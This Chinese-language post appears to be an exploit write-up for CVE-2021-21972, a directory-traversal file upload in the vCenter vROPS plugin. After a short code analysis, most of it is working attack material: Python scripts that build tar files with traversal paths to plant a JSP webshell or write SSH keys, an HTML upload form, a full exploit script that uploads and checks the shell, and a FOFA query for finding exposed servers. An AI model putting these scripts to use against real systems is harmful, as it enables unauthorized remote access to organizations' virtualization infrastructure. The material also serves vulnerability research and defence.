CVE-2021-21972
vcenter server的 vROPS
插件存在未授权接口,其中 uploadova
接口允许上传ova模板文件,但是并未对文件进行类型判断
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| @RequestMapping( value = {"/uploadova"}, method = {RequestMethod.POST} ) public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception { logger.info("Entering uploadOvaFile api"); int code = uploadFile.isEmpty() ? 400 : 200; PrintWriter wr = null; ... response.setStatus(code); String returnStatus = "SUCCESS"; if (!uploadFile.isEmpty()) { try { logger.info("Downloading OVA file has been started"); logger.info("Size of the file received : " + uploadFile.getSize()); InputStream inputStream = uploadFile.getInputStream(); File dir = new File("/tmp/unicorn_ova_dir"); if (!dir.exists()) { dir.mkdirs(); } else { String[] entries = dir.list(); String[] var9 = entries; int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) { String entry = var9[var11]; File currentFile = new File(dir.getPath(), entry); currentFile.delete(); }
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir"); }
TarArchiveInputStream in = new TarArchiveInputStream(inputStream); TarArchiveEntry entry = in.getNextTarEntry(); ArrayList result = new ArrayList();
|
servlet直接匹配 /uploadova
接口,检查请求数据包含的 uploadFile
参数,上传成功返回’SUCCESS’,将临时文件置空并解包tar文件。
1 2 3 4 5 6 7 8
| while(entry != null) { if (entry.isDirectory()) { entry = in.getNextTarEntry(); } else { File curfile = new File("/tmp/unicorn_ova_dir", entry.getName()); File parent = curfile.getParentFile(); if (!parent.exists()) { parent.mkdirs();
|
这里将分解的tar文件直接拼接在了 /tmp/unicorn_ova_dir
目录后面,若解压后的文件包含 ../
则可造成目录穿越。
思路
构造包含 ../
的tar文件,通过未授权接口 uploadova
上传。
- linux:内网机器可以直接构造
../../home/vsphere-ui/.ssh/authorized_keys
写入公钥
- windows:写入webshell。
检测
访问 https://ip/ui/vropspluginui/rest/services/uploadova 返回405既证明漏洞存在。
复现
构造含有回溯符的tar文件
可以利用python的 tarfile
库文件
windows
1 2 3 4
| import tarfile tf = tarfile.open('test.war', 'w') tf.add('123.jsp','..\\..\\ProgramData\\VMware\\vCenterServer\\runtime\\vsphere-ui\\server\\work\\deployer\s\\global\\40\\0\\h5ngc.war\\resources\\123.jsp') tf.close()
|
linux
1 2 3 4
| import tarfile tf = tarfile.open('test.war', 'w') tf.add('123.jsp','../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/123.jsp') tf.close()
|
上传文件
我测试的时候直接构造的html上传表单
1 2 3 4 5 6 7
| <div class="vcenter_rce"> <form enctype="multipart/form-data" action="https://xxx/ui/vropspluginui/rest/services/uploadova" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000"> Choose an image to upload:<br><br> <input name="uploadFile" type="file"><br> <br> <input type="submit" name="Upload" value="Upload">
|
python也很方便,调用上传文件的接口即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests import urllib3 import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = sys.argv[1] files = {'uploadFile': open('payload/Linux.tar', 'rb')} url1 = url + '/ui/vropspluginui/rest/services/uploadova' url2 = url + '/ui/resources/test1.jsp'
try: a = requests.post(url1,files=files,verify=False) if a.status_code ==200 and 'SUCCESS' in a.content: print '[+] upload success' if requests.get(url2,verify=False).status_code == 200: print '[+] exploited' else: print '[-] failed' else: print '[-] failed' except: print '[-] failed'
|
webshell的地址只针对默认的vsac,并不通配,所以上传吼请求一下判断是否上传成功
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import requests import urllib3 import sys import tarfile
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = sys.argv[1] file_in = sys.argv[2]
def create_tar(file_in): tf = tarfile.open('win.tar', 'w') tf.add(file_in,'..\\..\\ProgramData\\VMware\\vCenterServer\\runtime\\vsphere-ui\\server\\work\\deployer\s\\global\\40\\0\\h5ngc.war\\resources\\'+file_in.split('\\')[-1]) tf.close() tf1 = tarfile.open('lin.tar', 'w') tf1.add(file_in,'..\\..\\usr\\lib\\vmware-vsphere-ui\\server\\work\\deployer\\s\\global\\42\\0\\h5ngc.war\\resources\\'+file_in.split('\\')[-1]) tf1.close() return
def uoloadova(url,files): url1 = url + '/ui/vropspluginui/rest/services/uploadova' url2 = url + '/ui/resources/test1.jsp' try: a = requests.post(url1,files=files,verify=False) if a.status_code ==200 and 'SUCCESS' in a.content: print '[+] tar upload success' if requests.get(url2,verify=False).status_code == 200: return True else: return False else: return False except: return False
create_tar(file_in) files1 = {'uploadFile': open('lin.tar', 'rb')} files2 = {'uploadFile': open('win.tar', 'rb')} if uoloadova(url,files1) == True or uoloadova(url,files2) == True: print '[+] exploited' print '[+] your file uploaded is : '+ url + '/ui/resources/'+file_in.split('\\')[-1] else: print '[-] failed'
|
fofa搜索语句
1
| body="VMware vSphere is virtual"
|